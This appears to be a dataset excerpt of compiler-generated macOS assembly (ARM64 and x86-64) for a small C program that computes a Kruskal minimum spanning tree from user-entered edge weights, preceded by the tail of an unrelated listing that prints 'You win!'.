jne LBB1_2
## %bb.1:
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
LBB1_2:
xorl %eax, %eax
addq $48, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "You win!\n"
.subsections_via_symbols
| the_stack_data/72809.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _SortEdges ; -- Begin function SortEdges
.p2align 2
_SortEdges: ; @SortEdges
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
adrp x8, _edgeList@GOTPAGE
ldr x8, [x8, _edgeList@GOTPAGEOFF]
str x8, [sp] ; 8-byte Folded Spill
mov w8, #1
str w8, [sp, #28]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [sp, #28]
ldr w9, [x9, #360]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_10
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
str wzr, [sp, #24]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp] ; 8-byte Folded Reload
ldr w8, [sp, #24]
ldr w9, [x9, #360]
subs w9, w9, #1
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_8
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
ldr x11, [sp] ; 8-byte Folded Reload
ldrsw x8, [sp, #24]
mov x9, #12
mul x9, x8, x9
mov x8, x11
add x8, x8, x9
ldr w8, [x8, #8]
ldr w9, [sp, #24]
add w9, w9, #1
mov w10, #12
smaddl x9, w9, w10, x11
ldr w9, [x9, #8]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_6
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr x10, [sp] ; 8-byte Folded Reload
ldrsw x8, [sp, #24]
mov x9, #12
mul x11, x8, x9
mov x8, x10
add x8, x8, x11
ldr x11, [x8]
str x11, [sp, #8]
ldr w8, [x8, #8]
str w8, [sp, #16]
ldrsw x8, [sp, #24]
mul x9, x8, x9
mov x8, x10
add x9, x8, x9
ldr w8, [sp, #24]
add w8, w8, #1
mov x12, x10
mov w11, #12
smaddl x8, w8, w11, x12
ldr x11, [x8]
str x11, [x9]
ldr w8, [x8, #8]
str w8, [x9, #8]
ldr w8, [sp, #24]
add w8, w8, #1
mov w9, #12
smaddl x9, w8, w9, x10
ldr x8, [sp, #8]
str x8, [x9]
ldr w8, [sp, #16]
str w8, [x9, #8]
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_3 Depth=2
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #24]
add w8, w8, #1
str w8, [sp, #24]
b LBB0_3
LBB0_8: ; in Loop: Header=BB0_1 Depth=1
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #28]
add w8, w8, #1
str w8, [sp, #28]
b LBB0_1
LBB0_10:
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _FindVertexSet ; -- Begin function FindVertexSet
.p2align 2
_FindVertexSet: ; @FindVertexSet
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
str w1, [sp, #4]
ldr x8, [sp, #8]
ldrsw x9, [sp, #4]
ldr w0, [x8, x9, lsl #2]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _Union ; -- Begin function Union
.p2align 2
_Union: ; @Union
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, #24]
str w1, [sp, #20]
str w2, [sp, #16]
str wzr, [sp, #12]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
adrp x9, _nVertices@GOTPAGE
ldr x9, [x9, _nVertices@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB2_6
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #24]
ldrsw x9, [sp, #12]
ldr w8, [x8, x9, lsl #2]
ldr w9, [sp, #16]
subs w8, w8, w9
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #20]
ldr x9, [sp, #24]
ldrsw x10, [sp, #12]
str w8, [x9, x10, lsl #2]
b LBB2_4
LBB2_4: ; in Loop: Header=BB2_1 Depth=1
b LBB2_5
LBB2_5: ; in Loop: Header=BB2_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB2_1
LBB2_6:
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _KruskalMST ; -- Begin function KruskalMST
.p2align 2
_KruskalMST: ; @KruskalMST
.cfi_startproc
; %bb.0:
sub sp, sp, #192
.cfi_def_cfa_offset 192
stp x29, x30, [sp, #176] ; 16-byte Folded Spill
add x29, sp, #176
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _edgeList@GOTPAGE
ldr x8, [x8, _edgeList@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x9, _spanList@GOTPAGE
ldr x9, [x9, _spanList@GOTPAGEOFF]
str x9, [sp, #24] ; 8-byte Folded Spill
adrp x9, ___stack_chk_guard@GOTPAGE
ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF]
ldr x9, [x9]
stur x9, [x29, #-8]
str wzr, [x8, #360]
mov w8, #1
str w8, [sp, #44]
b LBB3_1
LBB3_1: ; =>This Loop Header: Depth=1
; Child Loop BB3_3 Depth 2
ldr w8, [sp, #44]
adrp x9, _nVertices@GOTPAGE
ldr x9, [x9, _nVertices@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_10
b LBB3_2
LBB3_2: ; in Loop: Header=BB3_1 Depth=1
str wzr, [sp, #40]
b LBB3_3
LBB3_3: ; Parent Loop BB3_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #40]
ldr w9, [sp, #44]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_8
b LBB3_4
LBB3_4: ; in Loop: Header=BB3_3 Depth=2
ldrsw x8, [sp, #44]
mov x9, #120
mul x9, x8, x9
adrp x8, _GraphEdgeWeights@GOTPAGE
ldr x8, [x8, _GraphEdgeWeights@GOTPAGEOFF]
add x8, x8, x9
ldrsw x9, [sp, #40]
ldr w8, [x8, x9, lsl #2]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB3_6
b LBB3_5
LBB3_5: ; in Loop: Header=BB3_3 Depth=2
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [sp, #44]
ldrsw x10, [x9, #360]
mov x11, #12
mul x10, x10, x11
str w8, [x9, x10]
ldr w8, [sp, #40]
ldrsw x10, [x9, #360]
mul x12, x10, x11
mov x10, x9
add x10, x10, x12
str w8, [x10, #4]
ldrsw x8, [sp, #44]
mov x10, #120
mul x10, x8, x10
adrp x8, _GraphEdgeWeights@GOTPAGE
ldr x8, [x8, _GraphEdgeWeights@GOTPAGEOFF]
add x8, x8, x10
ldrsw x10, [sp, #40]
ldr w8, [x8, x10, lsl #2]
ldrsw x10, [x9, #360]
mul x11, x10, x11
mov x10, x9
add x10, x10, x11
str w8, [x10, #8]
ldr w8, [x9, #360]
add w8, w8, #1
str w8, [x9, #360]
b LBB3_6
LBB3_6: ; in Loop: Header=BB3_3 Depth=2
b LBB3_7
LBB3_7: ; in Loop: Header=BB3_3 Depth=2
ldr w8, [sp, #40]
add w8, w8, #1
str w8, [sp, #40]
b LBB3_3
LBB3_8: ; in Loop: Header=BB3_1 Depth=1
b LBB3_9
LBB3_9: ; in Loop: Header=BB3_1 Depth=1
ldr w8, [sp, #44]
add w8, w8, #1
str w8, [sp, #44]
b LBB3_1
LBB3_10:
bl _SortEdges
str wzr, [sp, #44]
b LBB3_11
LBB3_11: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #44]
adrp x9, _nVertices@GOTPAGE
ldr x9, [x9, _nVertices@GOTPAGEOFF]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_14
b LBB3_12
LBB3_12: ; in Loop: Header=BB3_11 Depth=1
ldr w8, [sp, #44]
ldrsw x10, [sp, #44]
add x9, sp, #48
str w8, [x9, x10, lsl #2]
b LBB3_13
LBB3_13: ; in Loop: Header=BB3_11 Depth=1
ldr w8, [sp, #44]
add w8, w8, #1
str w8, [sp, #44]
b LBB3_11
LBB3_14:
ldr x8, [sp, #24] ; 8-byte Folded Reload
str wzr, [x8, #360]
str wzr, [sp, #44]
b LBB3_15
LBB3_15: ; =>This Inner Loop Header: Depth=1
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldr w8, [sp, #44]
ldr w9, [x9, #360]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB3_20
b LBB3_16
LBB3_16: ; in Loop: Header=BB3_15 Depth=1
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldrsw x9, [sp, #44]
mov x10, #12
str x10, [sp] ; 8-byte Folded Spill
mul x9, x9, x10
ldr w1, [x8, x9]
add x0, sp, #48
str x0, [sp, #8] ; 8-byte Folded Spill
bl _FindVertexSet
ldr x10, [sp] ; 8-byte Folded Reload
ldr x8, [sp, #16] ; 8-byte Folded Reload
mov x9, x0
ldr x0, [sp, #8] ; 8-byte Folded Reload
str w9, [sp, #36]
ldrsw x9, [sp, #44]
mul x9, x9, x10
add x8, x8, x9
ldr w1, [x8, #4]
bl _FindVertexSet
str w0, [sp, #32]
ldr w8, [sp, #36]
ldr w9, [sp, #32]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB3_18
b LBB3_17
LBB3_17: ; in Loop: Header=BB3_15 Depth=1
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldrsw x10, [x9, #360]
mov x12, #12
mul x11, x10, x12
adrp x10, _spanList@GOTPAGE
ldr x10, [x10, _spanList@GOTPAGEOFF]
add x10, x10, x11
ldrsw x11, [sp, #44]
mul x11, x11, x12
add x8, x8, x11
ldr x11, [x8]
str x11, [x10]
ldr w8, [x8, #8]
str w8, [x10, #8]
ldr w8, [x9, #360]
add w8, w8, #1
str w8, [x9, #360]
ldr w1, [sp, #36]
ldr w2, [sp, #32]
add x0, sp, #48
bl _Union
b LBB3_18
LBB3_18: ; in Loop: Header=BB3_15 Depth=1
b LBB3_19
LBB3_19: ; in Loop: Header=BB3_15 Depth=1
ldr w8, [sp, #44]
add w8, w8, #1
str w8, [sp, #44]
b LBB3_15
LBB3_20:
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB3_22
b LBB3_21
LBB3_21:
bl ___stack_chk_fail
LBB3_22:
ldp x29, x30, [sp, #176] ; 16-byte Folded Reload
add sp, sp, #192
ret
.cfi_endproc
; -- End function
.globl _PrintResult ; -- Begin function PrintResult
.p2align 2
_PrintResult: ; @PrintResult
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _spanList@GOTPAGE
ldr x8, [x8, _spanList@GOTPAGEOFF]
stur x8, [x29, #-16] ; 8-byte Folded Spill
stur wzr, [x29, #-8]
stur wzr, [x29, #-4]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9, #360]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB4_4
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldur x8, [x29, #-16] ; 8-byte Folded Reload
ldursw x9, [x29, #-4]
mov x12, #12
str x12, [sp, #24] ; 8-byte Folded Spill
mul x9, x9, x12
ldr w9, [x8, x9]
; implicit-def: $x11
mov x11, x9
ldursw x9, [x29, #-4]
mul x10, x9, x12
mov x9, x8
add x9, x9, x10
ldr w9, [x9, #4]
; implicit-def: $x10
mov x10, x9
ldursw x9, [x29, #-4]
mul x9, x9, x12
add x8, x8, x9
ldr w9, [x8, #8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x11, [x9]
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr x11, [sp, #24] ; 8-byte Folded Reload
ldur x9, [x29, #-16] ; 8-byte Folded Reload
ldur w8, [x29, #-8]
ldursw x10, [x29, #-4]
mul x10, x10, x11
add x9, x9, x10
ldr w9, [x9, #8]
add w8, w8, w9
stur w8, [x29, #-8]
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB4_1
LBB4_4:
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _printf
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, _nVertices@GOTPAGE
ldr x8, [x8, _nVertices@GOTPAGEOFF]
str x8, [sp, #24] ; 8-byte Folded Spill
adrp x8, _GraphEdgeWeights@GOTPAGE
ldr x8, [x8, _GraphEdgeWeights@GOTPAGEOFF]
str x8, [sp, #16] ; 8-byte Folded Spill
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr x8, [sp, #24] ; 8-byte Folded Reload
mov x9, sp
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _scanf
stur wzr, [x29, #-4]
b LBB5_1
LBB5_1: ; =>This Loop Header: Depth=1
; Child Loop BB5_3 Depth 2
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-4]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_14
b LBB5_2
LBB5_2: ; in Loop: Header=BB5_1 Depth=1
stur wzr, [x29, #-8]
b LBB5_3
LBB5_3: ; Parent Loop BB5_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr x9, [sp, #24] ; 8-byte Folded Reload
ldur w8, [x29, #-8]
ldr w9, [x9]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_12
b LBB5_4
LBB5_4: ; in Loop: Header=BB5_3 Depth=2
ldur w8, [x29, #-4]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, eq
tbnz w8, #0, LBB5_9
b LBB5_5
LBB5_5: ; in Loop: Header=BB5_3 Depth=2
ldur w8, [x29, #-4]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB5_7
b LBB5_6
LBB5_6: ; in Loop: Header=BB5_3 Depth=2
ldur w8, [x29, #-4]
; implicit-def: $x10
mov x10, x8
ldur w9, [x29, #-8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
str x8, [x9, #8]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #16
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _scanf
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldur w8, [x29, #-16]
ldursw x10, [x29, #-4]
mov x11, #120
mul x10, x10, x11
add x9, x9, x10
ldursw x10, [x29, #-8]
str w8, [x9, x10, lsl #2]
b LBB5_8
LBB5_7: ; in Loop: Header=BB5_3 Depth=2
ldr x9, [sp, #16] ; 8-byte Folded Reload
ldursw x8, [x29, #-8]
mov x11, #120
mul x10, x8, x11
mov x8, x9
add x8, x8, x10
ldursw x10, [x29, #-4]
ldr w8, [x8, x10, lsl #2]
ldursw x10, [x29, #-4]
mul x10, x10, x11
add x9, x9, x10
ldursw x10, [x29, #-8]
str w8, [x9, x10, lsl #2]
b LBB5_8
LBB5_8: ; in Loop: Header=BB5_3 Depth=2
b LBB5_10
LBB5_9: ; in Loop: Header=BB5_3 Depth=2
ldr x8, [sp, #16] ; 8-byte Folded Reload
ldursw x9, [x29, #-4]
mov x10, #120
mul x9, x9, x10
add x9, x8, x9
ldursw x10, [x29, #-8]
mov w8, #0
str w8, [x9, x10, lsl #2]
b LBB5_10
LBB5_10: ; in Loop: Header=BB5_3 Depth=2
b LBB5_11
LBB5_11: ; in Loop: Header=BB5_3 Depth=2
ldur w8, [x29, #-8]
add w8, w8, #1
stur w8, [x29, #-8]
b LBB5_3
LBB5_12: ; in Loop: Header=BB5_1 Depth=1
b LBB5_13
LBB5_13: ; in Loop: Header=BB5_1 Depth=1
ldur w8, [x29, #-4]
add w8, w8, #1
stur w8, [x29, #-4]
b LBB5_1
LBB5_14:
bl _KruskalMST
bl _PrintResult
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.comm _edgeList,364,2 ; @edgeList
.comm _nVertices,4,2 ; @nVertices
.comm _GraphEdgeWeights,3600,2 ; @GraphEdgeWeights
.comm _spanList,364,2 ; @spanList
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "\n%d->%d:%d"
l_.str.1: ; @.str.1
.asciz "\n=====================================\n"
l_.str.2: ; @.str.2
.asciz "Cost = %d"
l_.str.3: ; @.str.3
.asciz "\nNumber of vertices : "
l_.str.4: ; @.str.4
.asciz "%d"
l_.str.5: ; @.str.5
.asciz "Edge Weight : "
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _SortEdges ## -- Begin function SortEdges
.p2align 4, 0x90
_SortEdges: ## @SortEdges
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl $1, -4(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
movl -4(%rbp), %eax
movq _edgeList@GOTPCREL(%rip), %rcx
cmpl 360(%rcx), %eax
jge LBB0_10
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl $0, -8(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -8(%rbp), %eax
movq _edgeList@GOTPCREL(%rip), %rcx
movl 360(%rcx), %ecx
subl $1, %ecx
cmpl %ecx, %eax
jge LBB0_8
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movslq -8(%rbp), %rcx
movq _edgeList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
movl 8(%rax), %eax
movl -8(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rdx
movq _edgeList@GOTPCREL(%rip), %rcx
imulq $12, %rdx, %rdx
addq %rdx, %rcx
cmpl 8(%rcx), %eax
jle LBB0_6
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movslq -8(%rbp), %rcx
movq _edgeList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
movq (%rax), %rcx
movq %rcx, -24(%rbp)
movl 8(%rax), %eax
movl %eax, -16(%rbp)
movslq -8(%rbp), %rcx
movq _edgeList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
movl -8(%rbp), %ecx
addl $1, %ecx
movslq %ecx, %rdx
movq _edgeList@GOTPCREL(%rip), %rcx
imulq $12, %rdx, %rdx
addq %rdx, %rcx
movq (%rcx), %rdx
movq %rdx, (%rax)
movl 8(%rcx), %ecx
movl %ecx, 8(%rax)
movl -8(%rbp), %eax
addl $1, %eax
movslq %eax, %rcx
movq _edgeList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
movq -24(%rbp), %rcx
movq %rcx, (%rax)
movl -16(%rbp), %ecx
movl %ecx, 8(%rax)
LBB0_6: ## in Loop: Header=BB0_3 Depth=2
jmp LBB0_7
LBB0_7: ## in Loop: Header=BB0_3 Depth=2
movl -8(%rbp), %eax
addl $1, %eax
movl %eax, -8(%rbp)
jmp LBB0_3
LBB0_8: ## in Loop: Header=BB0_1 Depth=1
jmp LBB0_9
LBB0_9: ## in Loop: Header=BB0_1 Depth=1
movl -4(%rbp), %eax
addl $1, %eax
movl %eax, -4(%rbp)
jmp LBB0_1
LBB0_10:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _FindVertexSet ## -- Begin function FindVertexSet
.p2align 4, 0x90
_FindVertexSet: ## @FindVertexSet
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq -8(%rbp), %rax
movslq -12(%rbp), %rcx
movl (%rax,%rcx,4), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _Union ## -- Begin function Union
.p2align 4, 0x90
_Union: ## @Union
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movl %edx, -16(%rbp)
movl $0, -20(%rbp)
LBB2_1: ## =>This Inner Loop Header: Depth=1
movl -20(%rbp), %eax
movq _nVertices@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB2_6
## %bb.2: ## in Loop: Header=BB2_1 Depth=1
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movl (%rax,%rcx,4), %eax
cmpl -16(%rbp), %eax
jne LBB2_4
## %bb.3: ## in Loop: Header=BB2_1 Depth=1
movl -12(%rbp), %edx
movq -8(%rbp), %rax
movslq -20(%rbp), %rcx
movl %edx, (%rax,%rcx,4)
LBB2_4: ## in Loop: Header=BB2_1 Depth=1
jmp LBB2_5
LBB2_5: ## in Loop: Header=BB2_1 Depth=1
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB2_1
LBB2_6:
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _KruskalMST ## -- Begin function KruskalMST
.p2align 4, 0x90
_KruskalMST: ## @KruskalMST
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $144, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movq _edgeList@GOTPCREL(%rip), %rax
movl $0, 360(%rax)
movl $1, -132(%rbp)
LBB3_1: ## =>This Loop Header: Depth=1
## Child Loop BB3_3 Depth 2
movl -132(%rbp), %eax
movq _nVertices@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB3_10
## %bb.2: ## in Loop: Header=BB3_1 Depth=1
movl $0, -136(%rbp)
LBB3_3: ## Parent Loop BB3_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -136(%rbp), %eax
cmpl -132(%rbp), %eax
jge LBB3_8
## %bb.4: ## in Loop: Header=BB3_3 Depth=2
movslq -132(%rbp), %rcx
movq _GraphEdgeWeights@GOTPCREL(%rip), %rax
imulq $120, %rcx, %rcx
addq %rcx, %rax
movslq -136(%rbp), %rcx
cmpl $0, (%rax,%rcx,4)
je LBB3_6
## %bb.5: ## in Loop: Header=BB3_3 Depth=2
movl -132(%rbp), %ecx
movq _edgeList@GOTPCREL(%rip), %rax
movslq 360(%rax), %rdx
movq _edgeList@GOTPCREL(%rip), %rax
imulq $12, %rdx, %rdx
addq %rdx, %rax
movl %ecx, (%rax)
movl -136(%rbp), %ecx
movq _edgeList@GOTPCREL(%rip), %rax
movslq 360(%rax), %rdx
movq _edgeList@GOTPCREL(%rip), %rax
imulq $12, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 4(%rax)
movslq -132(%rbp), %rcx
movq _GraphEdgeWeights@GOTPCREL(%rip), %rax
imulq $120, %rcx, %rcx
addq %rcx, %rax
movslq -136(%rbp), %rcx
movl (%rax,%rcx,4), %ecx
movq _edgeList@GOTPCREL(%rip), %rax
movslq 360(%rax), %rdx
movq _edgeList@GOTPCREL(%rip), %rax
imulq $12, %rdx, %rdx
addq %rdx, %rax
movl %ecx, 8(%rax)
movq _edgeList@GOTPCREL(%rip), %rax
movl 360(%rax), %ecx
addl $1, %ecx
movq _edgeList@GOTPCREL(%rip), %rax
movl %ecx, 360(%rax)
LBB3_6: ## in Loop: Header=BB3_3 Depth=2
jmp LBB3_7
LBB3_7: ## in Loop: Header=BB3_3 Depth=2
movl -136(%rbp), %eax
addl $1, %eax
movl %eax, -136(%rbp)
jmp LBB3_3
LBB3_8: ## in Loop: Header=BB3_1 Depth=1
jmp LBB3_9
LBB3_9: ## in Loop: Header=BB3_1 Depth=1
movl -132(%rbp), %eax
addl $1, %eax
movl %eax, -132(%rbp)
jmp LBB3_1
LBB3_10:
callq _SortEdges
movl $0, -132(%rbp)
LBB3_11: ## =>This Inner Loop Header: Depth=1
movl -132(%rbp), %eax
movq _nVertices@GOTPCREL(%rip), %rcx
cmpl (%rcx), %eax
jge LBB3_14
## %bb.12: ## in Loop: Header=BB3_11 Depth=1
movl -132(%rbp), %ecx
movslq -132(%rbp), %rax
movl %ecx, -128(%rbp,%rax,4)
## %bb.13: ## in Loop: Header=BB3_11 Depth=1
movl -132(%rbp), %eax
addl $1, %eax
movl %eax, -132(%rbp)
jmp LBB3_11
LBB3_14:
movq _spanList@GOTPCREL(%rip), %rax
movl $0, 360(%rax)
movl $0, -132(%rbp)
LBB3_15: ## =>This Inner Loop Header: Depth=1
movl -132(%rbp), %eax
movq _edgeList@GOTPCREL(%rip), %rcx
cmpl 360(%rcx), %eax
jge LBB3_20
## %bb.16: ## in Loop: Header=BB3_15 Depth=1
leaq -128(%rbp), %rdi
movslq -132(%rbp), %rcx
movq _edgeList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
movl (%rax), %esi
callq _FindVertexSet
movl %eax, -140(%rbp)
leaq -128(%rbp), %rdi
movslq -132(%rbp), %rcx
movq _edgeList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
movl 4(%rax), %esi
callq _FindVertexSet
movl %eax, -144(%rbp)
movl -140(%rbp), %eax
cmpl -144(%rbp), %eax
je LBB3_18
## %bb.17: ## in Loop: Header=BB3_15 Depth=1
movq _spanList@GOTPCREL(%rip), %rax
movslq 360(%rax), %rcx
movq _spanList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
movslq -132(%rbp), %rdx
movq _edgeList@GOTPCREL(%rip), %rcx
imulq $12, %rdx, %rdx
addq %rdx, %rcx
movq (%rcx), %rdx
movq %rdx, (%rax)
movl 8(%rcx), %ecx
movl %ecx, 8(%rax)
movq _spanList@GOTPCREL(%rip), %rax
movl 360(%rax), %ecx
addl $1, %ecx
movq _spanList@GOTPCREL(%rip), %rax
movl %ecx, 360(%rax)
leaq -128(%rbp), %rdi
movl -140(%rbp), %esi
movl -144(%rbp), %edx
callq _Union
LBB3_18: ## in Loop: Header=BB3_15 Depth=1
jmp LBB3_19
LBB3_19: ## in Loop: Header=BB3_15 Depth=1
movl -132(%rbp), %eax
addl $1, %eax
movl %eax, -132(%rbp)
jmp LBB3_15
LBB3_20:
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB3_22
## %bb.21:
addq $144, %rsp
popq %rbp
retq
LBB3_22:
callq ___stack_chk_fail
ud2
.cfi_endproc
## -- End function
.globl _PrintResult ## -- Begin function PrintResult
.p2align 4, 0x90
_PrintResult: ## @PrintResult
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $0, -8(%rbp)
movl $0, -4(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
movl -4(%rbp), %eax
movq _spanList@GOTPCREL(%rip), %rcx
cmpl 360(%rcx), %eax
jge LBB4_4
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movslq -4(%rbp), %rcx
movq _spanList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
movl (%rax), %esi
movslq -4(%rbp), %rcx
movq _spanList@GOTPCREL(%rip), %rax
imulq $12, %rcx, %rcx
addq %rcx, %rax
